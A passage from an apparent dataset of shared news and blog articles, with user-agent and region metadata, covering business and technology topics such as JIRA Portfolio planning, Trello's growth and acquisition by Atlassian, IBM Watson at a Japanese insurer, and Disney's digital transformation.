died than were born. In Europe high-growth ones are still rare and most startups stay small, in part because tax systems punish outfits that employ above a certain number of workers, and also because entrepreneurs care more about work-life balance than growth for its own sake. A large number of businesspeople who were drawn in by the cult of entrepreneurship encountered only failure and now eke out marginal existences with little provision for their old age. The theorists' third ruling idea is that business is getting faster. There is some truth in this. Internet firms can acquire hundreds of millions of customers in a few years. But in some ways this is less impressive than earlier roll-outs: well over half of American households had motor cars just two decades after Henry Ford introduced the first moving assembly line in 1913. And in many respects business is slowing down. Firms often waste months or years checking decisions with various departments (audit, legal, compliance, privacy and so on) or dealing with governments' ever-expanding bureaucracies. The internet takes away with one hand what it gives with the other. Now that it is so easy to acquire information and consult with everybody (including suppliers and customers), organisations frequently dither endlessly. Flat Earth society A fourth wrong notion is that globalisation is both inevitable and irreversible-the product of technological forces that mere human decisions cannot reverse. This has been repeated in a succession of bestselling books-most notably Thomas Friedman's ""The World is Flat"" of 2005-and propagated in corporate advertising such as HSBC's ""The World's Local Bank"" campaign. But a look at history shows that it is nonsense. In 1880-1914 the world was in many ways just as globalised as it is today; it still fell victim to war and autarky. Today globalisation shows signs of going into reverse. Donald Trump preaches muscular American nationalism and threatens China with tariffs. Britain is disentangling itself from the European Union. The more far-sighted multinationals are preparing for an increasingly nationalist future. The backlash against globalisation points to a glaring underlying weakness of management theory: its naivety about politics. Modern management orthodoxies were forged in the era from 1980 to 2008, when liberalism was in the ascendant and middle-of-the-road politicians were willing to sign up to global rules. But today's world is very different. Productivity growth is dismal in the West, companies are fusing at a furious rate, entrepreneurialism is stuttering, populism is on the rise and the old rules of business are being torn up. Management theorists need to examine their church with the same clear-eyed iconoclasm with which Luther examined his. Otherwise they risk being exposed as just so many overpaid peddlers of dead ideas.",en
1483897534,CONTENT SHARED,685073630661800600,3217014177234377440,1222922368526555739,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://blogs.atlassian.com/2015/05/see-jira-portfolio-team-uses-jira-portfolio/,[Tools] See how the JIRA Portfolio team uses JIRA Portfolio,"Long-term planning and agile, is it really possible? Even when using an agile approach, there's still a need to forecast over a long time period. The challenge is to combine both a long-term vision and frequent, continuous delivery along the way. We tend to find that a lot of teams using JIRA are actually tracking and strategic goals in disconnected tools like spreadsheets, which can be quite painful and time consuming! So today I'm going to show you how our resident experts on planning, the JIRA Portfolio team, use JIRA Portfolio to combine long-term planning and agile development. Let's see how the team does it - are you ready to jump into some planning? Start with the big picture Every quarter, the JIRA Portfolio team does a full roadmap review and planning, along with reviewing and updating objectives and key results. To start off, the team first defines the strategic themes for the roadmap by answering general questions like, "" where are we going? "" and "" where should we be spending our time "" (note that they don't focus on questions like "" what specific features do we want to build "" ). Techniques for coming up with this high-level product strategy could fill a separate blog post, but it roughly involves reviewing customer suggestions on jira.atlassian.com , customer interview notes, and feedback from teams within Atlassian to identify structural gaps (the combination of these two are used to identify recurring/common/structural problems), as well as reviewing advancements in the market and the strategic goals of the the wider organization. The two dominant themes that came out of the latest planning session for the JIRA Portfolio roadmap ""Integrated planning"" (think a tighter integration with JIRA and JIRA Agile) and ""PPM at scale"" (think views and reports across multiple plans). There were lots of other themes, of course, but these two are the priorities and where the team decided they would devote most of their time. ProTip : Prepare to iterate! Distilling a roadmap to 3-5 crisp focus areas is hard! The team typically knows the outcome is good if the themes feel like ""stating the obvious,"" and the general response from peers is ""well, of course that's what you need to focus on... what else would make sense?"" Identify the big-ticket items Once the themes were decided on as a team (and, of course, backed by clearly-defined goals and success metrics), the Product Manager entered them into JIRA Portfolio. The team then got together again to think about what actually needed to be done in order to accomplish these themes, answering questions like ""what big chunks of work do we need to get done in order to deliver on this theme?"" or""what needs to happen in order to ensure that gets delivered?"" For example, when they sat down to see what they needed to accomplish for the theme ""Integrated planning,"" it resulted in things like ""simplified data management"" and ""live planning and snapshots."" . Note that while several initiatives are specific to the JIRA Portfolio team, there are also initiatives shared with and mostly driven by other teams inside Atlassian. For example, a new feature in the JIRA platform might require the JIRA Portfolio team to integrate with this new functionality. Get all the data in one place the time consuming but well worth the work. Those ""big chunks of work"" mentioned earlier, i.e. initiatives, now needed to be broken down into more consumable pieces, so it was time to . This was done as a combination of: Breaking down initiatives into new epics and stories : Brainstorming between product management, engineering, and UX designers, to slice out tangible and incrementally shippable pieces of work. This was done inside JIRA Portfolio, and once the epics and stories were ready for implementation, they were turned into actual JIRA issues. Importing existing issues : The Product Manager also imported all of the relevant epics and stories that already existed in JIRA such as customer suggestions gathered on jira.atlassian.com and assigned them to the right initiatives. ProTip : When importing a big amount of existing, un-estimated issues, it isn't necessary to estimate all of them individually. JIRA Portfolio allows you to enter a default estimate for both epics and stories. Taking an average value of past stories is usually sufficient for a rough plan, as long as the plan is then constantly updated and refined along the way. Gathering and grooming the backlog is definitely the most time consuming part - getting data from potentially multiple different JIRA projects and then assigning epics to the initiatives they set earlier. Once this is done, however, the result is an awesome global overview, with aggregated progress and status across initiatives and it is super easy to dive into planning. JIRA Portfolio Cloud recently launched (yay! �� ) so the below shows you how the team tracked progress and status for this initiative. Time to start planning The JIRA Portfolio team uses story points for estimation, so the Product Manager just grabbed the team's velocity straight from the Agile Board. The team is actually growing so they have split work into two streams: JP Core (continuous improvement on version 1.x) and JP2 (fundamental changes towards 2.x). See the roadmap for the first time So, JIRA Portfolio took all of the team's planning and calculated a realistic schedule for the (yes, the dates in the schedule are blank to spur imagination). The schedule below is set to the initiatives view to see the projected start and end dates of each initiative. Play with ""what-if"" scenarios Now with roadmap done (or at least ""visible at last""), the team was in full planning mode! With all the data in place, the Product Manager and Development Manager in collaboration with program management, began to move around variables like earlier release dates, scope changes, feature date adjustments, and people planning. Trying different planning scenarios was especially important as the team was determining whether to add the functionality of cost planning and reporting into the scope of their 2.x release. Because the team had all of the data in , they were able to model these what-if scenarios and instantly see the impact a possible change might have on the future. This is also a great way to communicate openly with stakeholders and clearly point out the tradeoffs. See how reality lines up with goals It was now time to head back and look at those themes we spoke about earlier. So much planning and scoping had happened since then and the team was interested to see if the detailed plan matched the high-level targets for investment allocation. Thankfully, the plan looked quite balanced! ""Integrated planning"" was slightly underfunded relative to the target, as the plan contained more work on UX improvements and convenience functions. However, it was easy for the Product Manager and Development Manager to jump back into the the schedule and backlog to see what was driving this and how they could adjust. Put the plan to action As mentioned earlier, the team creates a lot of epics and stories directly in . Once the plan is done, they then create these epics and stories in bulk so that the team can actually work on the issue in JIRA and JIRA Agile. The team tries to keep the backlog on the agile board short and easily manageable, and typically only creates issues from the plan prior to the planning meeting for the next sprint. For any upcoming sprint, the relevant issues can be directly created from the schedule view. Ensure the plan is up to date The JIRA Portfolio team does these planning sessions quarterly, however, the plan is still updated after each sprint There are two key activities the Product Manager does after each sprint to keep the plan up-to-date: A to re-baseline with what has actually been done (which issues have been resolved, how much is remaining if still open). If new stories have been added somewhere in JIRA (either a scope change, or an epic has been broken down into detailed stories), the Product Manager imports these into JIRA Portfolio to check the impact on the plan. Share, discuss, communicate So what did the team do with this living, breathing plan? They shared it! plan at Atlassian so everyone is kept up to date and on the same page with what the plans are. that they have set up in the JIRA Portfolio space. It's great to share information with the whole team and to interactively play through planning scenarios! And thats a wrap! We know that's a lot to take in, so if you want more info, some live demos and the chance for Q&A, join Martin Suntinger, Principal Product Manager for JIRA Portfolio, in the next JIRA Portfolio webinar. to know how you're using JIRA Portfolio so tell us in the comments below! Happy planning! �� Want to learn more? Watch the webinar This blogpost contains information which outlines our general product direction. It is intended for information purposes only, and may not be incorporated into any contract. Nothing in this blog is a commitment to deliver any material, code, or functionality, and the presentation should not be relied upon in making purchasing decisions. The development, release, and timing of any features or functionality of Atlassian products remains at the sole discretion of Atlassian..",en
1483919870,CONTENT SHARED,2384931701643938149,-1032019229384696495,3289934111650656629,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.28 Safari/537.36",NY,US,HTML,http://www.siliconbeat.com/2016/12/13/117630/,Google HR chief Laszlo Bock leaving to launch startup,"If an HR manager can be called legendary, it would be Laszlo Bock, the man behind the company culture at Google for the past decade, and a driving force behind the firm's data-driven hiring and famed free-food cafeterias. Now, Bock is leaving his post as senior vice president of ""people operations"" to launch a startup. The enterprise will be in ""stealth mode"" for a while, Bock said in an email to friends and associates. Bock gave a brief description of the startup. ""It hinges on a few ideas: that every job can have meaning, that if you give people freedom they will amaze you, that applied science (which I dubbed 'people analytics' a decade back) can illuminate the truth about what really makes people happy and productive, and that it doesn't take a ton of effort or investment to make things better ... but that you can make work better, everywhere,"" Bock said in the email. Replacing Bock as head of human resources at Google will be Eileen Naughton, who had been the vice president of sales and operations for Google in the U.K. and Ireland, Fortune reported . Sources told Fortune that Naughton was one of the highest-rated Google managers among employees, and that she was a founding member of internal group Women@Google. According to Fortune, Bock will retain an advisory role at Google. However, in his email he signed himself off as a ""soon-to-be-former"" senior adviser at Google and its parent company Alphabet, which would appear to mean he won't be advising or he'll be doing so in a more informal capacity. Bock transformed hiring at Google from a ""clunky, arduous process that relied on gimmicks like math puzzles on billboards"" to a ""smooth engine,"" according to online magazine Quartz. ""He helped usher in employee-friendly policies like free meals and shuttle buses, and introduced take-your-parents-to-work days,"" the article said. Bock oversaw data-driven hiring practices at Google that ""led it to disregard college prestige in job applications, to dramatically change its pay policies, and even change the way it presents food in its cafeterias,"" according to a profile in Quartz last year. Before arriving at Google in 2006, Bock, who has an MBA from Yale was a vice president of HR at General Electric, and before that, a management consultant at McKinsey & Co. He is the author of ""WORK RULES! Insights from Inside Google to Transform How You Live and Lead."" Photo: Two men walk past a building on the Google campus in Mountain View. (Jeff Chiu/AP)",en
1483961646,CONTENT SHARED,-6836878558969096936,-1130272294246983140,-2153957396329266627,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.wired.com/2017/01/best-ces-2017-shows-10-sharpest-designs/,Best of CES 2017: The Show's 10 Coolest Designs,"For a design lover, CES can be a-how should we put this-challenging experience. Several hundred vendors from around the world fill not one, but two convention centers on the Las Vegas Strip with every gadget you can imagine-and a few you can't. (Like, say, a dental floss dispenser with a microchip. Seriously.) The sheer quantity of stuff on show can make the search for compelling designs feel like hunting for an affordable cocktail at the Venetian. And yet, if you can look beyond the hoard of bright, plastic wearables, there's some legitimately smart designs to be found. Here are the 10 most intriguing products from this year's show.",en
1483965804,CONTENT SHARED,4546206336477094824,3609194402293569455,-2950900739536415228,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://endeavor.org.br/como-o-trello-foi-de-4-17-milhoes-de-usuarios-e-o-que-voce-pode-aprender-com-isso/,Como o Trello foi de 4 a 17 milhões de usuários,"O que existe por trás de uma boa estratégia de aquisição de usuários? No RD Summit, principal evento de marketing digital do país, J.D. Peterson, CMO do Trello, compartilhou o caminho das pedras. Confira os aprendizados! Se você deseja entender atalhos e boas práticas que fazem um serviço online ou um aplicativo crescerem exponencialmente, conquistando milhões de usuários pelo mundo, procure pelo Trello. A cada interação com a ferramenta, conhecida como um dos principais softwares de gestão de projetos do mundo, você vai observar alguns hacks usados para criar uma boa experiência simples e útil o suficiente para você convidar seus amigos a usarem também. Nós participamos da palestra de J. D. Peterson, CMO do Trello, do RD Summit 2016. E compartilhamos aqui quais foram os ingredientes que fizeram com que o produto crescesse tão rapidamente. 1) Produto certo na hora certa As facilidades oferecidas pelo Trello fazem sentido em um mundo onde o trabalho remoto é cada vez mais comum, e os times, espalhados por diferentes locais do planeta, precisam de uma comunicação rápida e fluida. Talvez esse mesmo produto não fosse tão útil 20 anos atrás. Estar atento às transformações sociais do trabalho, dos times colaborativos e do modo como as empresas têm se organizado fez com que ferramentas como o Evernote, o Asana e o Wrike se adaptassem rápido às necessidades do mercado. Fique atento às mudanças sociais e ao modo como seu produto responde às necessidades mais atuais das pessoas. A chave para o sucesso de longo prazo está na habilidade de entender a mudança antes mesmo de ela acontecer e aproveitar essa oportunidade para usar as tecnologias que já existem - e não param de evoluir. 2) É gratuito O objetivo principal de Joel Spolsky e Michael Pryor, criadores da plataforma, é chegar em 100 milhões de usuários. Por isso, o foco de toda companhia tem sido eliminar as barreiras de adoção da ferramenta pelas pessoas. ""Qualquer coisa que faça as pessoas não usarem o Trello precisa ser identificada e eliminada."", afirma Spolsky. Assim, retirando a barreira de entrada do pagamento, com cadastro de cartão de crédito, por exemplo, o número de novos usuários cresceu exponencialmente. Isso porque um usuário não começa usando a ferramenta na versão paga, mas sim se familiariza com ela aos poucos até compreender a proposta de valor. Estratégias como o Freemium, no modelo usado pelo Spotify, são fundamentais para essa conversão de usuários gratuitos para pagantes. Peterson conta também que eliminando os formulários extensos e mantendo apenas o campo do e-mail para cadastro conseguiu aumentar em até sete vezes o alcance, gerando mais impacto e reconhecimento de marca. 3) Indo atrás de um mercado maior Quando o Trello começou, em 2012, fez muito sucesso entre desenvolvedores e programadores nos Estados Unidos. Para eles, a ferramenta funcionava bem e não precisava de grandes melhorias. Mas os fundadores não queriam falar só com os engenheiros. Eles queriam chegar em 100 milhões de usuários falando com todos profissionais, do marketing ao RH de uma empresa. Para isso, é preciso diferenciar uma organização que é centrada no consumidor daquela que é centrada no público. Enquanto a primeira ouve seus atuais clientes e se mantém no mercado que já adentrou, a segunda vai atrás do consumidor em potencial, aquelas pessoas que ainda não sabem como podem se beneficiar do produto. Nesse sentido, ouvir o que elas achavam e do que não gostavam no produto e trabalhar por essas mudanças foi fundamental para que o Trello não fosse conhecido apenas como uma ferramenta para desenvolvedores. Uma iniciativa simples que o seu time pode adotar a partir de agora é criar o hábito de conversar com seus não clientes. Aqueles que se recusaram a comprar o seu produto, são fãs da concorrência ou ainda não o conhecem direito são grandes fontes de aprendizado para o que sua empresa deseja se tornar amanhã. 4) Mantenha as coisas simples Toda a jornada de experiência do usuário precisa ser pensada para ser clara e fácil de usar. Não basta ter determinada funcionalidade: ela deve ser fluida, acessível e simples. Quando essa ideia é levada a sério pelo time de desenvolvimento, o resultado é que nenhuma tela de um aplicativo, um software ou mesmo um site é criada sem passar por esse filtro de usabilidade. Repare na jornada do seu usuário. O processo de cadastro ou de compra do seu produto é simples? Ou segue apenas o que a tecnologia do site permite? Deixe que a experiência de compra do usuário seja mais trabalhosa para você do que para ele. Trabalhe para eliminar essas barreiras de usabilidade e construa uma experiência agradável e tranquila, que reforce a preocupação da sua empresa com a jornada de compra do consumidor. Pode ser que você consiga eliminar alguns campos do formulário, facilitar a navegação mobile ou ainda tirar algumas distrações na landing page. 5) O efeito da rede Para Peterson, ""o melhor marketing que você pode fazer é deixar os outros fazerem o marketing por você"". É por isso que os seus clientes atuais têm o poder de influenciar a vinda de outros clientes, exercitando o boca a boca e o poder de viralidade. Esse processo acontece diariamente, sem que você se mexa. Mas existem mecanismos que você pode criar para torná-lo mais comum e fácil de acontecer. No caso do Trello, a versão premium do aplicativo não é destravada só com o pagamento, mas também quando o usuário convida um certo número de amigos para usar o site com ele. O resultado dessa estratégia é que, dos 17 milhões de usuários da ferramenta, 70% foram convidados por amigos. O Asana, ferramenta online de gerenciamento de tarefas, também apresenta uma estratégia parecida. Durante o cadastro de um novo usuário, aparece uma tela de convite para outras pessoas do seu time -é preciso apenas inserir o e-mail delas. Assim, amplia-se a base de usuários por meio da recomendação e do efeito multiplicador da rede. Busque maneiras de tornar a experiência do seu usuário mais social, com a oportunidade de convidar os amigos e fazer recomendações, em troca de pequenas recompensas, e pense em como seu produto pode ganhar uma outra utilidade se for usado em conjunto com outras pessoas. A criação de uma rede começa com a necessidade de se conectar para algo diferente acontecer. Foi assim que o Facebook chegou a mais de 1,7 bilhão de usuários!",pt
1483973858,CONTENT SHARED,-74366709451305894,3061273947166110301,-1388480201387468492,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://blog.trello.com/trello-atlassian,Trello Is Being Acquired By Atlassian,"Today we're excited to announce a new chapter in Trello's story, and a new chapter for the story of the future of work. Trello is being acquired by Atlassian. We launched Trello five years ago at the TechCrunch Disrupt conference in San Francisco. At the time, the way people work was starting to shift. Smartphones began to change the way we connected and how we communicated with each other. People expected the tools they use at work to be as fun and easy to use as those in their personal lives. In the business world, the culture of teamwork began to change from face time and meetings to the rise of digital collaboration tools that let teammates collaborate anywhere, anytime. Our small idea was to take the paradigm of a sticky note on a wall and turn it into a tool that allowed people to collaborate in real time. We wanted people to get started quickly and not get bogged down in structure. We wanted Trello to be fluid and adaptable to a huge range of problems that all revolved around getting people on the same page. Our dream was that someday we could have 100 million people using Trello to work together. More than 19 million users later, Trello is used by everyone from the family planning their next vacation to employees at the largest enterprises in the world. Companies like Google, National Geographic, and even the United Kingdom's government use Trello daily. Organizations like the United Nations and the Red Cross rely on Trello to accomplish their missions. We've been humbled and excited to see the millions of use cases for Trello around the world, and we build the product each day proudly knowing we're helping teams do great things. What Happens Next We're excited about partnering with Atlassian because we both share a philosophy of empowering teams everywhere to work in their own style. We envision a world where hundreds of millions of people collaborate in teams however they like, with their imaginations being the only constraint for what they can accomplish. As part of Atlassian, Trello will be able to leverage investments in R&D that will enhance the product in meaningful ways. Our team will be able to focus on improving the core experience of Trello for all users. We are certain that Atlassian understands the unique and novel reasons why Trello is so successful and well-loved. In short: you can expect Trello to become even more awesome and more fun than it is today. We're as committed to our original vision and brand as we were on launch day but we now have more firepower to fulfill that mission. We will continue operating as a standalone service, and we will continue to integrate deeply with all of the tools available out there that help people collaborate (and you can look forward to some great integrations with HipChat, Confluence and JIRA). Thank you to all the Trello users out there who have helped make Trello what it is today. Without you, we'd all still be stuck with sticky notes on a wall. Your passion, feedback, and love for Trello inspire all of us to continue to make Trello more useful and delightful. We hope you are as excited as we are about our journey ahead.",en
1484047371,CONTENT SHARED,-5924653357616257702,-4246040813531967142,-4748637958812360523,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/tecnologia/robo-da-ibm-substitui-34-funcionarios-de-empresa-no-japao/,Robô da IBM substitui 34 funcionários de empresa no Japão,"São Paulo - O Watson, que a empresa define como uma plataforma de computação cognitiva , substituiu 34 funcionários de um escritório de seguros no Japão , de acordo com o jornal local The Mainichi . Esse robô funciona como um software de análise de dados com inteligência artificial , que ajuda gestores a tomarem decisões, entre outras centenas de funções. Essencialmente, ele ""pensa"" como um ser humano e consegue interpretar textos, áudios, imagens e vídeos, mesmo que eles não estejam estruturados. O Watson vai começar a atuar neste mês na Fukoku Mutual Life Insurance Company lendo documentos médicos e determinando pagamentos com base em ferimentos, históricos e procedimentos médicos. O investimento inicial da operação é de 1,7 milhão de dólares, com manutenção anual de 128 mil dólares. A empresa espera poupar 1,1 milhão de dólares por ano com o uso do IBM Watson. A Fukoku Mutual Life Insurance Company também utiliza a inteligência artificial para analisar ligações para seu call center, identificando a linguagem dos clientes entre positiva e negativa. O Watson ficou conhecido em 2011, ao vencer humanos em um programa de perguntas e respostas na TV, o Jeopardy . Essa tecnologia da IBM aprende conforme analisa informações e ajuda empresas a reduzir custos e melhorar o atendimento aos clientes. Um exemplo de atuação no Brasil é no banco Bradesco . O Watson aprendeu o nosso idioma e a companhia ensinou o sistema a responder mais de 50 mil perguntas dos funcionários sobre suas rotinas de trabalho. O Fórum Econômico Mundial prevê que a inteligência artificial pode eliminar mais de 7 milhões de empregos nas 15 maiores economias nos próximos anos. Enquanto essas plataformas realizam trabalhos repetitivos, humanos podem ter mais tempo livre para executar tarefas que exigem mais ""humanidade"". Diversos aplicativos para smartphones também utilizam o Watson, como o Nutrino , o Record e o MeCasei",pt
1484047628,CONTENT REMOVED,-5924653357616257702,-4246040813531967142,-4748637958812360523,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/tecnologia/robo-da-ibm-substitui-34-funcionarios-de-empresa-no-japao/,Robô da IBM substitui 34 funcionários de empresa no Japão,"São Paulo - O Watson, que a empresa define como uma plataforma de computação cognitiva , substituiu 34 funcionários de um escritório de seguros no Japão , de acordo com o jornal local The Mainichi . Esse robô funciona como um software de análise de dados com inteligência artificial , que ajuda gestores a tomarem decisões, entre outras centenas de funções. Essencialmente, ele ""pensa"" como um ser humano e consegue interpretar textos, áudios, imagens e vídeos, mesmo que eles não estejam estruturados. O Watson vai começar a atuar neste mês na Fukoku Mutual Life Insurance Company lendo documentos médicos e determinando pagamentos com base em ferimentos, históricos e procedimentos médicos. O investimento inicial da operação é de 1,7 milhão de dólares, com manutenção anual de 128 mil dólares. A empresa espera poupar 1,1 milhão de dólares por ano com o uso do IBM Watson. A Fukoku Mutual Life Insurance Company também utiliza a inteligência artificial para analisar ligações para seu call center, identificando a linguagem dos clientes entre positiva e negativa. O Watson ficou conhecido em 2011, ao vencer humanos em um programa de perguntas e respostas na TV, o Jeopardy . Essa tecnologia da IBM aprende conforme analisa informações e ajuda empresas a reduzir custos e melhorar o atendimento aos clientes. Um exemplo de atuação no Brasil é no banco Bradesco . O Watson aprendeu o nosso idioma e a companhia ensinou o sistema a responder mais de 50 mil perguntas dos funcionários sobre suas rotinas de trabalho. O Fórum Econômico Mundial prevê que a inteligência artificial pode eliminar mais de 7 milhões de empregos nas 15 maiores economias nos próximos anos. Enquanto essas plataformas realizam trabalhos repetitivos, humanos podem ter mais tempo livre para executar tarefas que exigem mais ""humanidade"". Diversos aplicativos para smartphones também utilizam o Watson, como o Nutrino , o Record e o MeCasei",pt
1484063971,CONTENT SHARED,-1668558678125613329,3609194402293569455,-851069973704807471,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/69568/advertising/bot-da-chevrolet-te-ajuda-alcancar-as-resolucoes-de-ano-novo/,Bot da Chevrolet te ajuda a alcançar as resoluções de ano novo,"Suas resoluções de ano novo ainda estão de pé? Como a maioria das pessoas acaba deixando de lado os projetos e objetivos para o novo ano logo nas primeiras semanas, a Chevrolet decidiu mostrar que todos os objetivos são possíveis e te estimular a alcançá-los. Para isso a marca criou um bot no Facebook que permite aos usuários a receberem dicas e mensagens encorajadoras para que as pessoas ""find new roads"" ao longo de 2017. Dentre as opções oferecidas no chatbot é possível buscar ter mais tempo para a família , se exercitar , ficar em forma , viajar o mundo e até ter uma vida mais calma e tranquila. E com o intuito de reforçar a mensagem e não deixar ninguém desanimar, a Chevrolet selecionou histórias que possuem grandes desafios a serem superados, como perder o medo de altura ou escalar o Everest , e que irão receber algumas ajudas para serem conquistadas. Veja no vídeo no topo a história de Denna, uma jovem que tem como objetivo para 2017 começar um novo esporte. A campanha foi desenvolvida pela Commonwealth//McCann em conjunto com o Facebook Creative Shop .",pt
1484126235,CONTENT SHARED,3660989387512978561,9210530975708218054,1216354488778990261,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.thoughtworks.com/pt/insights/blog/discutindo-devops-na-pratica,Discutindo Devops na Prática,"Práticas de DevOps e Entrega Contínua ajudam a aumentar a frequência de deploys na sua empresa, ao mesmo tempo aumentando a estabilidade e robustez do sistema em produção. Neste webinar, Danilo Sato, autor do livro ""DevOps na prática: entrega de software confiável e automatizada"" , discute princípios, práticas e ferramentas de DevOps, cobrindo: Como automatizar o build e deploy de uma aplicação web e o gerenciamento da infraestrutura Como monitorar o sistema em produção Como evoluir a arquitetura e migrá-la para a nuvem Quais ferramentas estão disponíveis para começar a prática DevOps na Prática webinar - 10-6-2014",pt
1484137665,CONTENT SHARED,7835346487062622787,3609194402293569455,1616594673539603555,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/kit-de-sensor-ble-alimentado-por-energia-solar/,Kit de sensor BLE alimentado por energia solar,"Destinado a uma ampla gama de aplicações de Internet das Coisas (IoT), o Kit de Referência de Sensor BLE alimentado por energia solar da Cypress Semiconductor ( CYALKIT-E02 ), possibilita o desenvolvimento de pequenos dispositivos IoT alimentados por energia solar e com conectividade sem fio BLE. Além disso, ele é destinado a proporcionar uma plataforma de fácil uso para o desenvolvimento de sensores sem fio (Wireless Sensor Node) movidos a energia solar, que podem monitorar tanto temperatura como umidade e transmitir os dados via Bluetooth. O Kit de desenvolvimento CYALKIT-02, com apenas 25 mm de diâmetro, proporciona um WSN funcional totalmente livre de bateria. Ele pode ser colocado e deixado em operação em campo sem a necessidade de manutenção de baterias, tornando-o apropriado para monitorar condições ambientes em uma residência inteligente, prédio comercial, fábrica ou instalação agrícola. O projeto de referência integra um sistema de captação de energia solar e circuitos integrados de gerenciamento de energia da Cypress (PMICs), EZ-BLE™, PRoC módulo de baixa potência e uma célula solar de 15 x 15 mm que pode operar com intensidades tão baixas de luz como 100 lux de luz ambiente, menos luz do que uma residência típica costuma receber. O kit contém ainda o conjunto sensor BLE alimentado por energia solar, uma ponte BLE-USB e uma placa de Debug baseada nos produtos Cypress PRoC™BLE e PSoC® 5LP, que podem ser conectados, e um PC host via interface USB para receber dados do sensor ou depuração. Ele vem ainda com o BLE-Beacon App para IoS da Cypress, Android e PCs. Os usuários são capazes de receber e ver os dados do sensor transmitidos pelo sistema sinalizador como um gráfico 2D/3D de visualização e exportar os dados. Confira mais detalhes do kit Cypress CYALKIT-E02 Solar-Powered BLE Sensor Design Kit. Mouser Electronics é um dos líderes mundiais em distribuição de semicondutores e componentes eletrônicos e distribuidor autorizado de mais de 500 fornecedores líderes da indústria. Nosso foco é a excelência em serviço ao cliente, oferendo rápida entrega e embarque imediato com a precisão no processo, desde a colocação dos pedidos até a sua entrega. Mouser oferece uma ampla seleção de produtos em estoque para rápido envio a mais de 170 países.",pt
1484143072,CONTENT SHARED,3562616807243819955,3609194402293569455,1616594673539603555,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2017/01/nova-iniciativa-busca-desenvolver-o-ecossistema-de-fintechs-da-america-latina/,Nova iniciativa busca desenvolver o ecossistema de Fintechs da América Latina,"As Fintechs estão criando uma nova realidade financeira globalmente, dando acesso à diversos serviços que antes se concentravam exclusivamente nas mãos do bancos . Na América Latina, o crescimento e a expansão destas novas soluções crescem exponencialmente, porém ainda não pode-se dizer que o mercado latino-americano de startups financeiras é uma referência mundial, como Londres, Singapura e China. Ainda existem certas diferenças, principalmente quando falamos de integração, que travam o avanço das startups financeiras nos países latinos. Com o intuito de diminuir essa distância, foi lançada a primeira iniciativa que busca unir o ecossistema da América Latina e promover as melhores soluções. O Fintech Awards Latam, concurso desenvolvido pela agência Cantarino Brasileiro, elegerá os melhores projetos nas categorias: User Experience, Modelo de Negócios, Inclusão Financeira, Tração e Disrupção. Com 20 países participantes, o evento reunirá os principais especialistas em Fintechs da América Latina para avaliar os projetos inscritos. Mentores, investidores e experts do setor escolherão os melhores cases de cada categoria e, ao final, darão um feedback considerando a expansão dos negócios para outros países. O evento conta com o apoio de importantes entidades e empresas da Argentina, Brasil, Colômbia, Chile, Perú e Uruguay, como a Acrefi, Associação Brasileira de Fintechs, Colombia Fintechs, Digital Bank LA, Fintech Lab, Incutex, Relatório Bancário e Startup Perú. Responsável pela área de inovação da Cantarino Brasileiro, João Pedro Brasileiro afirma que o Fintech Awards Latam proporcionará uma integração importante para o desenvolvimento do ecossistema latino-americano. "" Constatamos que em diversos países existem muitos investidores buscando iniciativas estrangeiras para aplicar seus recursos, assim como existem muitas Fintechs com interesse e potencial de expandirem seus negócios. Esse é o empurrão que faltava"" completa. As inscrições estão abertas até 31 de Janeiro. Para saber mais detalhes, acesse o site .",pt
1484195257,CONTENT SHARED,5930806521893160184,-2726721797588771398,-9161862406528748079,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36",NJ,US,HTML,https://econsultancy.com/blog/68667-five-things-to-include-in-your-digital-transformation-playbook/,Five things to include in your digital transformation playbook,"In 2011, Disney World was facing declining customer satisfaction, falling revenues, and the prospect of becoming a 'quaint' tourist destination. How did Disney pull itself out this and achieve record revenues in 2016? Digital transformation . To update Disney World to the digital age, CEO Bob Iger secured a $1bn budget from the board and introduced the MyMagic+ wristband with radio frequency identification (RFID) chips build in. These wearables serve as the park admission ticket, queue-jumping FastPass, hotel room key, and even a wallet. Customer experience vastly improved and now over 90% of visitors rate the park as 'very good' or 'excellent'. Making the MyMagic+ wristband work, though, was an enormous digital transformation programme. Some of the many tasks required included: Updating DisneyWorld.com at a cost of $80m. Designing a custom RFID wristband, now used by more than 10m people per year. Installing 30m square feet of WiFi coverage in the park. Fitting 28,000 hotel room doors with RFID readers. Training 70,000 employees on how the new technology worked. The impact of this initiative - 90% favorable customer experience ratings - is impressive, but how did Disney make such an enormous effort happen? What steps did the digital team take from the initial idea to the realisation? While we may never know what specifically was required to make this happen at Disney, we were able to talk to a number of brand marketers at Digital Cream Singapore about their digital transformation story. There, delegates told us about how their brands are updating their company's customer experience for the digital age. Below are an overview of the items that participants felt were most important for digital 